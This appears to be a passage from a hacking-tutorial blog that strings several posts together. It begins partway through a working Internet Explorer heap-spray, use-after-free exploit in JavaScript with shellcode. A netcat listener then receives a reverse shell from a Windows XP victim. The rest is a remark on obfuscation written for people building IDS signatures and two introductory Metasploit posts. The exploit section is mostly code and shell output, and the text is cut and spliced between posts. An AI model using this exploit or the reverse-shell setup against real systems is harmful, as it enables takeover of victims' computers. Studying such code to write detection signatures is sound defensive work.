for (j = 0; j < 100; j++) Array2[j] = SprayValue + Shellcode;
}

function FRemove(Value1)
{
HeapSpray();
Element1 = document.createEventObject(Value1);
document.getElementById(“SpanID”).innerHTML = “”;
window.setInterval(FOverwrite, 50);
}

function FOverwrite()
{
buffer = “\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d”;
for (i = 0; i < Array1.length; i++)
{
Array1[i].data = buffer;
}
var t = Element1.srcElement;
}

</script>

<body>
<span id=”SpanID”><IMG src=”/abcd.gif” onload=”FRemove(event)” /></span></body></html>
</body>
</html>

Lets start a listener on our attacking system:

root@shritam:~# nc -nvvlp 443
listening on [any] 443 …

And open the exploit in our browser

root@shritam:~# nc -nvvlp 443
listening on [any] 443 …
connect to [192.168.20.11] from (UNKNOWN) [192.168.10.27] 1471
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\User\Desktop>

W00t!  We have shell.



A Note About Obfuscation

If you are reading tutorial as a guide in order to develop some sort of filter pattern or IDS/IPS signature for this particular exploit (and part of the reason I started writing this series was to educate people on how exploits worked so they could do this), at this point I should probably make you aware of how the code for this, and similar exploits can be obfuscated.

My particular version of this exploit has been written to be as readable and easy to understand as possible, using (hopefully) clear variable names, easily readable layout and structure and no other obfuscation.  If you check out the original exploit, or the Metasploit equivalent, you will see that strings have been mangled, variable names changed to the incomprehensible, data has been randomized and code has been obfuscated.

The original exploit code you see at Wepawet for example has already had one layer of obfuscation removed (a good dissection of this is here), and even after one layer of decoding it is still hiding it’s heap spray code inside the sss variable.

It’s important to be aware that it is always possible to use obfuscation in script based exploits (including browser exploits) to disguise pretty much any code you wish, including the HTML components.  This particular characteristic of script based exploits definitely can make automated detection very challenging.  Time to switch to using Firefox and NoScript 😉

that’s all we have to wind up today, while I take some cigarette pills, I would be back with something more wonderful, that is buffer overflows with advanced exploitation via different manipulation and REing (reverse engineering) different application at different platform RUNTIMES. m3ow ! ninjas has you 0wned and rm’d ~

Earlier, I did a post on metasploit, since I had been working with the framework this whole week, today, I will explain the concepts using metasploit about exploitation, web applications as well as network exploitation.

To drop onto the exploitation level, we need to first understand, what is a vulnerability, how an application or a network is vulnerable to certain exploits and it’s remediation. So, a vulnerability is a loophole in an application, with which an “exploit” can take advantage of. It’s a kind of weakness of the application. Exploit is a layman term, is/are a set of keys for a hacker/an attacker to break in to a application/or a network and compromise (go on compromising) other aspects of the same system.

Now, we will discuss about “payloads”. If a vulnerable system is exploited, a payload is sent to the victim machine to do certain tasks, these payloads are in terms of “software codes’, “shell codes” and some “kind” of code which is generally termed as “payloads”, so an exploit is executed first and then a particular working payload (compatible with the system to execute on) is loaded and sent to the compromised machine. The exploit runs first and then the PAYLOAD. Metasploit has the capability to do exploit research, IDS signature and it’s development, and these exploits are sorted by modules within the whole framework (as explained in my earlier posts).

 

Keep reading, Till then, i would finish my work, and post here again.

Hello, H3athe4d here, today I bring you some topics on metasploit and it’s very basics, you may call it as it’s foundation and the layout. So,in this post, I will go through the MSF framework in a definitive way. for anyone following my posts.

First and foremost, let me explain why people need metasploit, and why it is being used in penetration testing in a more successful way. They key to success with metasploit is it’s modular structure, and it’s flexibility with it’s different user interfaces and it’s functionality. I will discuss here the architecture of the metasploit framework.

The architecture of the metasploit framework is based on primarily 3 things, first is “libraries”, second is “interfaces”, and the third and the most important one to the user is “modules”.

The Library consists of:

a.) REX

b.) MSF CORE

c.) MSF BASE

The Interfaces consists of:

a.) CONSOLE

b.) CLI

c.) GUI

d.) COMMUNITY EDITION

e.) Armitage

although MSG GUI and Armitage both fall under the GUI interface, both aren’t the same, as well as this applies to the community edition of the metasploit. There are different “plugins” and “tools” in the metasploit directory that serves the libraries of the framework and then this whole bunch of library in turn serves to the interface, which the users rely on.

Then, there is this, “MODULES”, it consists of:

a.) Payload.

b.) Exploits.

c.) Encoders.

d.) NOPS.

e.) Auxiliaries.

I will elaborate all these terms at a later point, but, let’s concentrate on how the framework is “modular” and works in a perfect way, as it should. The metasploit filesystem and the libraries consists of:

LIB || DATA || TOOLS || MODULES || PLUGINS || SCRIPTS || EXTERNAL ||

So, this was my first post regarding METASPLOIT< I will continue explaining the whole framework in bit’s of posts, easy to follow, and understand the whole framework, catch you people at a later time.